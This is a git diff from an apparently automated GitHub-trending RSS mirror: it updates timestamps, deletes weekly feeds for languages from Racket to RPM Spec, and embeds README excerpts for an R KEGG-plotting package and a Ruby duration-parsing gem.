highlight_module(module("M00338")) |&gt; ggraph(x=x, y=y) + geom_node_point(size=1, aes(color=I(fgcolor), filter=fgcolor!="none" &amp; type!="line"))+ geom_edge_link0(width=0.1, aes(color=I(fgcolor), filter=type=="line"&amp; fgcolor!="none"))+ with_outer_glow( geom_edge_link0(width=1, aes(color=I(fgcolor), filter=(M00021 | M00338))), colour="red", expand=5 )+ with_outer_glow( geom_node_point(size=1.5, aes(color=I(fgcolor), filter=(M00021 | M00338))), colour="red", expand=5 )+ geom_node_text(size=2, aes(x=x, y=y, label=graphics_name, filter=name=="path:ko00270"), repel=TRUE, family="sans", bg.colour="white")+ theme_void() </code></pre> <img src="https://raw.githubusercontent.com/noriakis/ggkegg/main/man/figures/README-unnamed-chunk-2-1.png" width="2400" style="display: block; margin: auto;"> <p>You can use your favorite geoms to annotate raw KEGG map combining the functions.</p> <pre><code class="language-r">m &lt;- module("M00013") g &lt;- pathway("ko00640") |&gt; mutate(mod=highlight_set_nodes(m@reaction_components,how="all")) gg &lt;- ggraph(g, layout="manual", x=x, y=y)+ geom_node_rect(fill="grey",aes(filter=type=="ortholog"))+ overlay_raw_map("ko00640")+ geom_node_point(aes(filter=type=="compound"), shape=21, fill="blue", color="black", size=2)+ ggfx::with_outer_glow(geom_node_point(aes(filter=mod, x=x, y=y), color="red",size=2), colour="yellow",expand=5)+ theme_void() gg </code></pre> <img src="https://raw.githubusercontent.com/noriakis/ggkegg/main/man/figures/README-unnamed-chunk-3-1.png" width="2400" style="display: block; margin: auto;"> <p>Or customize graphics based on <code>ggraph</code>.</p> <pre><code class="language-r">g &lt;- pathway("hsa04110") pseudo_lfc &lt;- sample(seq(0,3,0.1), length(V(g)), replace=TRUE) names(pseudo_lfc) &lt;- V(g)$name ggkegg("hsa04110", convert_org = c("pathway","hsa","ko"), numeric_attribute = pseudo_lfc)+ geom_edge_parallel2( aes(color=subtype_name), arrow = arrow(length = unit(1, 'mm')), start_cap = square(1, 'cm'), end_cap = square(1.5, 'cm')) + geom_node_rect(aes(filter=.data$type=="group"), fill="transparent", color="red")+ geom_node_rect(aes(fill=numeric_attribute, filter=.data$type=="gene"))+ geom_node_text(aes(label=converted_name, filter=.data$type == "gene"), size=2.5, color="black")+ with_outer_glow(geom_node_text(aes(label=converted_name, filter=converted_name=="PCNA"), size=2.5, color="red"), colour="white", expand=4)+ scale_edge_color_manual(values=viridis::plasma(11))+ scale_fill_viridis(name="LFC")+ theme_void() </code></pre> <img src="https://raw.githubusercontent.com/noriakis/ggkegg/main/man/figures/README-unnamed-chunk-4-1.png" width="3600" style="display: block; margin: auto;"> - - \ No newline at end of file diff --git a/racket/daily/index.xml b/racket/daily/index.xml index cad4a5ca318..4b8f86d155b 100644 --- a/racket/daily/index.xml +++ b/racket/daily/index.xml @@ -1,7 +1,7 @@ GitHub Racket Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:54Z + 2023-10-30T01:34:44Z Daily Trending of Racket in GitHub \ No newline at end of file diff --git a/racket/weekly/index.xml b/racket/weekly/index.xml deleted file mode 100644 index 0ebea9bfb36..00000000000 --- a/racket/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Racket Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:36Z - Weekly Trending of Racket in GitHub - - - alan-turing-institute/advent-of-code-2021 - 2023-10-29T02:00:36Z - tag:github.com,2023-10-29:/alan-turing-institute/advent-of-code-2021 - - <p>Advent of Code 2021</p><hr> - - \ No newline at end of file diff --git a/ragel/daily/index.xml b/ragel/daily/index.xml index 861e5dbe82b..fb6b5b4bb58 100644 --- a/ragel/daily/index.xml +++ b/ragel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ragel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:55Z + 2023-10-30T01:34:45Z Daily Trending of Ragel in GitHub \ No newline at end of file diff --git a/ragel/weekly/index.xml b/ragel/weekly/index.xml deleted file mode 100644 index fe3da2e12b6..00000000000 --- a/ragel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ragel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:38Z - Weekly Trending of Ragel in GitHub - - \ No newline at end of file diff --git a/raku/daily/index.xml b/raku/daily/index.xml index ceda210c6cb..fd76377ee4f 100644 --- a/raku/daily/index.xml +++ b/raku/daily/index.xml @@ -1,7 +1,7 @@ GitHub Raku Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:56Z + 2023-10-30T01:34:46Z Daily Trending of Raku in GitHub \ No newline at end of file diff --git a/raku/weekly/index.xml b/raku/weekly/index.xml deleted file mode 100644 index 4a49621e41a..00000000000 --- a/raku/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Raku Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:37Z - Weekly Trending of Raku in GitHub - - \ No newline at end of file diff --git a/raml/daily/index.xml b/raml/daily/index.xml index 4a37245a414..67ac56d1fbc 100644 --- a/raml/daily/index.xml +++ b/raml/daily/index.xml @@ -1,7 +1,7 @@ GitHub RAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:57Z + 2023-10-30T01:34:45Z Daily Trending of RAML in GitHub \ No newline at end of file diff --git a/raml/weekly/index.xml b/raml/weekly/index.xml deleted file mode 100644 index 68c2315999c..00000000000 --- a/raml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RAML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:35Z - Weekly Trending of RAML in GitHub - - \ No newline at end of file diff --git a/rascal/daily/index.xml b/rascal/daily/index.xml index bd42ff48ef4..548599549eb 100644 --- a/rascal/daily/index.xml +++ b/rascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:58Z + 2023-10-30T01:34:47Z Daily Trending of Rascal in GitHub \ No newline at end of file diff --git a/rascal/weekly/index.xml b/rascal/weekly/index.xml deleted file mode 100644 index 1fdf4b40ed8..00000000000 --- a/rascal/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Rascal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:42Z - Weekly Trending of Rascal in GitHub - - \ No newline at end of file diff --git a/raw-token-data/daily/index.xml b/raw-token-data/daily/index.xml index 0eb998382a0..59e67684a81 100644 --- a/raw-token-data/daily/index.xml +++ b/raw-token-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub Raw token data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:40:59Z + 2023-10-30T01:34:49Z Daily Trending of Raw token data in GitHub \ No newline at end of file diff --git a/raw-token-data/weekly/index.xml b/raw-token-data/weekly/index.xml deleted file mode 100644 index 117edf254dc..00000000000 --- a/raw-token-data/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Raw token data Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:40Z - Weekly Trending of Raw token data in GitHub - - \ No newline at end of file diff --git a/rdoc/daily/index.xml b/rdoc/daily/index.xml index d545c79b563..95644f21eae 100644 --- a/rdoc/daily/index.xml +++ b/rdoc/daily/index.xml @@ -1,7 +1,7 @@ GitHub RDoc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:00Z + 2023-10-30T01:34:48Z Daily Trending of RDoc in GitHub \ No newline at end of file diff --git a/rdoc/weekly/index.xml b/rdoc/weekly/index.xml deleted file mode 100644 index ba3359a599b..00000000000 --- a/rdoc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RDoc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:39Z - Weekly Trending of RDoc in GitHub - - \ No newline at end of file diff --git a/readline-config/daily/index.xml b/readline-config/daily/index.xml index 1238c26c445..008094c1ca7 100644 --- a/readline-config/daily/index.xml +++ b/readline-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Readline Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:03Z + 2023-10-30T01:34:50Z Daily Trending of Readline Config in GitHub \ No newline at end of file diff --git a/readline-config/weekly/index.xml b/readline-config/weekly/index.xml deleted file mode 100644 index b9baaaf23ce..00000000000 --- a/readline-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Readline Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:43Z - Weekly Trending of Readline Config in GitHub - - \ No newline at end of file diff --git a/realbasic/daily/index.xml b/realbasic/daily/index.xml index c4eeb076fdb..0b220b7ad8f 100644 --- a/realbasic/daily/index.xml +++ b/realbasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub REALbasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:02Z + 2023-10-30T01:34:52Z Daily Trending of REALbasic in GitHub \ No newline at end of file diff --git a/realbasic/weekly/index.xml b/realbasic/weekly/index.xml deleted file mode 100644 index 3543011746a..00000000000 --- a/realbasic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub REALbasic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:44Z - Weekly Trending of REALbasic in GitHub - - \ No newline at end of file diff --git a/reason/daily/index.xml b/reason/daily/index.xml index 11d77945e01..acbb90dc9f9 100644 --- a/reason/daily/index.xml +++ b/reason/daily/index.xml @@ -1,7 +1,7 @@ GitHub Reason Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:04Z + 2023-10-30T01:34:52Z Daily Trending of Reason in GitHub \ No newline at end of file diff --git a/reason/weekly/index.xml b/reason/weekly/index.xml deleted file mode 100644 index 943eebef243..00000000000 --- a/reason/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Reason Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:46Z - Weekly Trending of Reason in GitHub - - \ No newline at end of file diff --git a/rebol/daily/index.xml b/rebol/daily/index.xml index 798beaf9966..63430c906fa 100644 --- a/rebol/daily/index.xml +++ b/rebol/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rebol Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:06Z + 2023-10-30T01:34:53Z Daily Trending of Rebol in GitHub \ No newline at end of file diff --git a/rebol/weekly/index.xml b/rebol/weekly/index.xml deleted file mode 100644 index a2c43713fef..00000000000 --- a/rebol/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Rebol Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:48Z - Weekly Trending of Rebol in GitHub - - \ No newline at end of file diff --git a/record-jar/daily/index.xml b/record-jar/daily/index.xml index d1025cecf75..48613ffbf1e 100644 --- a/record-jar/daily/index.xml +++ b/record-jar/daily/index.xml @@ -1,7 +1,7 @@ GitHub Record Jar Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:07Z + 2023-10-30T01:34:55Z Daily Trending of Record Jar in GitHub \ No newline at end of file diff --git a/record-jar/weekly/index.xml b/record-jar/weekly/index.xml deleted file mode 100644 index fdeaca5ad54..00000000000 --- a/record-jar/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Record Jar Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:49Z - Weekly Trending of Record Jar in GitHub - - \ No newline at end of file diff --git a/red/daily/index.xml b/red/daily/index.xml index 2123946005e..e57131e225c 100644 --- a/red/daily/index.xml +++ b/red/daily/index.xml @@ -1,7 +1,7 @@ GitHub Red Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:08Z + 2023-10-30T01:34:55Z Daily Trending of Red in GitHub \ No newline at end of file diff --git a/red/weekly/index.xml b/red/weekly/index.xml deleted file mode 100644 index 8af65d1a272..00000000000 --- a/red/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Red Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:48Z - Weekly Trending of Red in GitHub - - \ No newline at end of file diff --git a/redcode/daily/index.xml b/redcode/daily/index.xml index abd84b7c61e..d8f79e06b13 100644 --- a/redcode/daily/index.xml +++ b/redcode/daily/index.xml @@ -1,7 +1,7 @@ GitHub Redcode Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:06Z + 2023-10-30T01:34:54Z Daily Trending of Redcode in GitHub \ No newline at end of file diff --git a/redcode/weekly/index.xml b/redcode/weekly/index.xml deleted file mode 100644 index 324080f4d51..00000000000 --- a/redcode/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Redcode Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:47Z - Weekly Trending of Redcode in GitHub - - \ No newline at end of file diff --git a/redirect-rules/daily/index.xml b/redirect-rules/daily/index.xml index d356b394562..82fdaa60883 100644 --- a/redirect-rules/daily/index.xml +++ b/redirect-rules/daily/index.xml @@ -1,7 +1,7 @@ GitHub Redirect Rules Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:12Z + 2023-10-30T01:34:58Z Daily Trending of Redirect Rules in GitHub \ No newline at end of file diff --git a/redirect-rules/weekly/index.xml b/redirect-rules/weekly/index.xml deleted file mode 100644 index 977da5c4b29..00000000000 --- a/redirect-rules/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Redirect Rules Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:50Z - Weekly Trending of Redirect Rules in GitHub - - \ No newline at end of file diff --git a/regular-expression/daily/index.xml b/regular-expression/daily/index.xml index 685d88f89a7..a4f4aa61442 100644 --- a/regular-expression/daily/index.xml +++ b/regular-expression/daily/index.xml @@ -1,7 +1,7 @@ GitHub Regular Expression Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:09Z + 2023-10-30T01:34:56Z Daily Trending of Regular Expression in GitHub \ No newline at end of file diff --git a/regular-expression/weekly/index.xml b/regular-expression/weekly/index.xml deleted file mode 100644 index e87bdc26fdf..00000000000 --- a/regular-expression/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Regular Expression Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:52Z - Weekly Trending of Regular Expression in GitHub - - \ No newline at end of file diff --git a/ren'py/daily/index.xml b/ren'py/daily/index.xml index dbf2b1a99ef..aa1967f3bbf 100644 --- a/ren'py/daily/index.xml +++ b/ren'py/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ren'Py Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:11Z + 2023-10-30T01:34:59Z Daily Trending of Ren'Py in GitHub \ No newline at end of file diff --git a/ren'py/weekly/index.xml b/ren'py/weekly/index.xml deleted file mode 100644 index 980a209ace3..00000000000 --- a/ren'py/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ren'Py Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:53Z - Weekly Trending of Ren'Py in GitHub - - \ No newline at end of file diff --git a/renderscript/daily/index.xml b/renderscript/daily/index.xml index 3db901ea54e..657a867f07f 100644 --- a/renderscript/daily/index.xml +++ b/renderscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub RenderScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:10Z + 2023-10-30T01:34:57Z Daily Trending of RenderScript in GitHub \ No newline at end of file diff --git a/renderscript/weekly/index.xml b/renderscript/weekly/index.xml deleted file mode 100644 index 943c2a59664..00000000000 --- a/renderscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RenderScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:51Z - Weekly Trending of RenderScript in GitHub - - \ No newline at end of file diff --git a/rescript/daily/index.xml b/rescript/daily/index.xml index df423383422..1edbca1be10 100644 --- a/rescript/daily/index.xml +++ b/rescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ReScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:13Z + 2023-10-30T01:35:00Z Daily Trending of ReScript in GitHub \ No newline at end of file diff --git a/rescript/weekly/index.xml b/rescript/weekly/index.xml deleted file mode 100644 index b2bdd14d8f2..00000000000 --- a/rescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ReScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:55Z - Weekly Trending of ReScript in GitHub - - \ No newline at end of file diff --git a/restructuredtext/daily/index.xml b/restructuredtext/daily/index.xml index 937e1d3e5c1..fb9258fe77e 100644 --- a/restructuredtext/daily/index.xml +++ b/restructuredtext/daily/index.xml @@ -1,7 +1,7 @@ GitHub reStructuredText Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:16Z + 2023-10-30T01:35:02Z Daily Trending of reStructuredText in GitHub \ No newline at end of file diff --git a/restructuredtext/weekly/index.xml b/restructuredtext/weekly/index.xml deleted file mode 100644 index 8062c2f9bd1..00000000000 --- a/restructuredtext/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub reStructuredText Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:57Z - Weekly Trending of reStructuredText in GitHub - - \ No newline at end of file diff --git a/rexx/daily/index.xml b/rexx/daily/index.xml index 5f32bee8c87..b4bb4e8595b 100644 --- a/rexx/daily/index.xml +++ b/rexx/daily/index.xml @@ -1,7 +1,7 @@ GitHub REXX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:15Z + 2023-10-30T01:35:00Z Daily Trending of REXX in GitHub \ No newline at end of file diff --git a/rexx/weekly/index.xml b/rexx/weekly/index.xml deleted file mode 100644 index 98f0350645b..00000000000 --- a/rexx/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub REXX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:56Z - Weekly Trending of REXX in GitHub - - \ No newline at end of file diff --git a/rich-text-format/daily/index.xml b/rich-text-format/daily/index.xml index a11f1a9566f..e60e8e88dd2 100644 --- a/rich-text-format/daily/index.xml +++ b/rich-text-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rich Text Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:20Z + 2023-10-30T01:35:05Z Daily Trending of Rich Text Format in GitHub \ No newline at end of file diff --git a/rich-text-format/weekly/index.xml b/rich-text-format/weekly/index.xml deleted file mode 100644 index 18d46067d00..00000000000 --- a/rich-text-format/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Rich Text Format Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:01Z - Weekly Trending of Rich Text Format in GitHub - - - giellalt/dict-sma-fin - 2023-10-29T02:01:01Z - tag:github.com,2023-10-29:/giellalt/dict-sma-fin - - <p></p><hr> - - \ No newline at end of file diff --git a/ring/daily/index.xml b/ring/daily/index.xml index 17d5f732d6c..0cec137343f 100644 --- a/ring/daily/index.xml +++ b/ring/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ring Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:18Z + 2023-10-30T01:35:03Z Daily Trending of Ring in GitHub \ No newline at end of file diff --git a/ring/weekly/index.xml b/ring/weekly/index.xml deleted file mode 100644 index bead287080f..00000000000 --- a/ring/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ring Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:59Z - Weekly Trending of Ring in GitHub - - \ No newline at end of file diff --git a/riot/daily/index.xml b/riot/daily/index.xml index 6c656c7a5b9..6c626ea248b 100644 --- a/riot/daily/index.xml +++ b/riot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Riot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:21Z + 2023-10-30T01:35:04Z Daily Trending of Riot in GitHub \ No newline at end of file diff --git a/riot/weekly/index.xml b/riot/weekly/index.xml deleted file mode 100644 index 47b47f3ed89..00000000000 --- a/riot/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Riot Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:00Z - Weekly Trending of Riot in GitHub - - \ No newline at end of file diff --git a/rmarkdown/daily/index.xml b/rmarkdown/daily/index.xml index 5c7199baacc..025ca5019ed 100644 --- a/rmarkdown/daily/index.xml +++ b/rmarkdown/daily/index.xml @@ -1,7 +1,7 @@ GitHub RMarkdown Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:17Z + 2023-10-30T01:35:03Z Daily Trending of RMarkdown in GitHub \ No newline at end of file diff --git a/rmarkdown/weekly/index.xml b/rmarkdown/weekly/index.xml deleted file mode 100644 index ae280857b7e..00000000000 --- a/rmarkdown/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RMarkdown Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:00:58Z - Weekly Trending of RMarkdown in GitHub - - \ No newline at end of file diff --git a/robotframework/daily/index.xml b/robotframework/daily/index.xml index 11b883ad0a2..916c464bfe8 100644 --- a/robotframework/daily/index.xml +++ b/robotframework/daily/index.xml @@ -1,7 +1,7 @@ GitHub RobotFramework Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:24Z + 2023-10-30T01:35:07Z Daily Trending of RobotFramework in GitHub \ No newline at end of file diff --git a/robotframework/weekly/index.xml b/robotframework/weekly/index.xml deleted file mode 100644 index 3c7229ebe7c..00000000000 --- a/robotframework/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RobotFramework Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:02Z - Weekly Trending of RobotFramework in GitHub - - \ No newline at end of file diff --git a/robots.txt/daily/index.xml b/robots.txt/daily/index.xml index d8b1288f27c..131b61a6b48 100644 --- a/robots.txt/daily/index.xml +++ b/robots.txt/daily/index.xml @@ -1,7 +1,7 @@ GitHub robots.txt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:23Z + 2023-10-30T01:35:08Z Daily Trending of robots.txt in GitHub \ No newline at end of file diff --git a/robots.txt/weekly/index.xml b/robots.txt/weekly/index.xml deleted file mode 100644 index 4d851679786..00000000000 --- a/robots.txt/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub robots.txt Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:03Z - Weekly Trending of robots.txt in GitHub - - \ No newline at end of file diff --git a/roff-manpage/daily/index.xml b/roff-manpage/daily/index.xml index b805c330caa..8dcb99a9c0c 100644 --- a/roff-manpage/daily/index.xml +++ b/roff-manpage/daily/index.xml @@ -1,7 +1,7 @@ GitHub Roff Manpage Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:22Z + 2023-10-30T01:35:07Z Daily Trending of Roff Manpage in GitHub \ No newline at end of file diff --git a/roff-manpage/weekly/index.xml b/roff-manpage/weekly/index.xml deleted file mode 100644 index 4382650ff63..00000000000 --- a/roff-manpage/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Roff Manpage Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:04Z - Weekly Trending of Roff Manpage in GitHub - - \ No newline at end of file diff --git a/roff/daily/index.xml b/roff/daily/index.xml index fc4754d944c..2493eac9126 100644 --- a/roff/daily/index.xml +++ b/roff/daily/index.xml @@ -1,7 +1,14 @@ GitHub Roff Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:26Z + 2023-10-30T01:35:09Z Daily Trending of Roff in GitHub + + cmdli/rhymepass + 2023-10-30T01:35:09Z + tag:github.com,2023-10-30:/cmdli/rhymepass + + <p></p><hr> + \ No newline at end of file diff --git a/roff/weekly/index.xml b/roff/weekly/index.xml deleted file mode 100644 index e93dde4c8a3..00000000000 --- a/roff/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Roff Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:06Z - Weekly Trending of Roff in GitHub - - - frankwxu/digital-forensics-lab - 2023-10-29T02:01:06Z - tag:github.com,2023-10-29:/frankwxu/digital-forensics-lab - - <p>Free hands-on digital forensics labs for students and faculty</p><hr> - - \ No newline at end of file diff --git a/rouge/daily/index.xml b/rouge/daily/index.xml index 130d9be46b7..fa000a50d77 100644 --- a/rouge/daily/index.xml +++ b/rouge/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rouge Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:28Z + 2023-10-30T01:35:11Z Daily Trending of Rouge in GitHub \ No newline at end of file diff --git a/rouge/weekly/index.xml b/rouge/weekly/index.xml deleted file mode 100644 index 18f34b85eab..00000000000 --- a/rouge/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Rouge Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:08Z - Weekly Trending of Rouge in GitHub - - \ No newline at end of file diff --git a/rpc/daily/index.xml b/rpc/daily/index.xml index 7c6e9ce821d..35064faed7b 100644 --- a/rpc/daily/index.xml +++ b/rpc/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:29Z + 2023-10-30T01:35:10Z Daily Trending of RPC in GitHub \ No newline at end of file diff --git a/rpc/weekly/index.xml b/rpc/weekly/index.xml deleted file mode 100644 index 0e3a5e3c6c8..00000000000 --- a/rpc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RPC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:09Z - Weekly Trending of RPC in GitHub - - \ No newline at end of file diff --git a/rpgle/daily/index.xml b/rpgle/daily/index.xml index 672479f8432..c00f49c3cdc 100644 --- a/rpgle/daily/index.xml +++ b/rpgle/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPGLE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:28Z + 2023-10-30T01:35:12Z Daily Trending of RPGLE in GitHub \ No newline at end of file diff --git a/rpgle/weekly/index.xml b/rpgle/weekly/index.xml deleted file mode 100644 index 879a579612c..00000000000 --- a/rpgle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RPGLE Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:07Z - Weekly Trending of RPGLE in GitHub - - \ No newline at end of file diff --git a/rpm-spec/daily/index.xml b/rpm-spec/daily/index.xml index 2b4dd8eca49..821eed0a847 100644 --- a/rpm-spec/daily/index.xml +++ b/rpm-spec/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPM Spec Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:31Z + 2023-10-30T01:35:14Z Daily Trending of RPM Spec in GitHub \ No newline at end of file diff --git a/rpm-spec/weekly/index.xml b/rpm-spec/weekly/index.xml deleted file mode 100644 index a97f634869c..00000000000 --- a/rpm-spec/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RPM Spec Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:11Z - Weekly Trending of RPM Spec in GitHub - - \ No newline at end of file diff --git a/ruby/daily/index.xml b/ruby/daily/index.xml index c9832ee20f4..e4d0e90ff82 100644 --- a/ruby/daily/index.xml +++ b/ruby/daily/index.xml @@ -1,7 +1,28 @@ GitHub Ruby Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:41:34Z + 2023-10-30T01:35:26Z Daily Trending of Ruby in GitHub + + hypomodern/rduration + 2023-10-30T01:35:26Z + tag:github.com,2023-10-30:/hypomodern/rduration + + <p>Simple utility for parsing durations from strings and comparing them. Basic math is also supported.</p><hr><h1>Duration</h1> <p>Provides simple (somewhat naive) Duration parsing from strings. Allows you to compare and modify durations.</p> <h2>Installation</h2> <p>Add this line to your application's Gemfile:</p> <pre><code>gem 'rduration', :require =&gt; 'duration' </code></pre> <p>And then execute:</p> <pre><code>$ bundle </code></pre> <p>Or install it yourself as:</p> <pre><code>$ gem install rduration </code></pre> <h2>Usage</h2> <p><code>duration_spec.rb</code> has more details about the types of strings this can handle, but here's brief overview:</p> <pre><code class="language-ruby">a = Duration.new("01:46:00") b = Duration.new("25 minutes 17 seconds") a &gt; b # =&gt; true a - b # =&gt; #&lt;Duration:2164349940 @raw="4843"&gt; [b, a].sort # =&gt; [a, b] b.to_clock_format # =&gt; "25:17" </code></pre> <p>If you require 'duration/string_ext' then strings gain a new method: <code>#to_duration</code></p> <pre><code class="language-ruby">"35m 5s".to_duration # =&gt; NoMethodError: undefined method 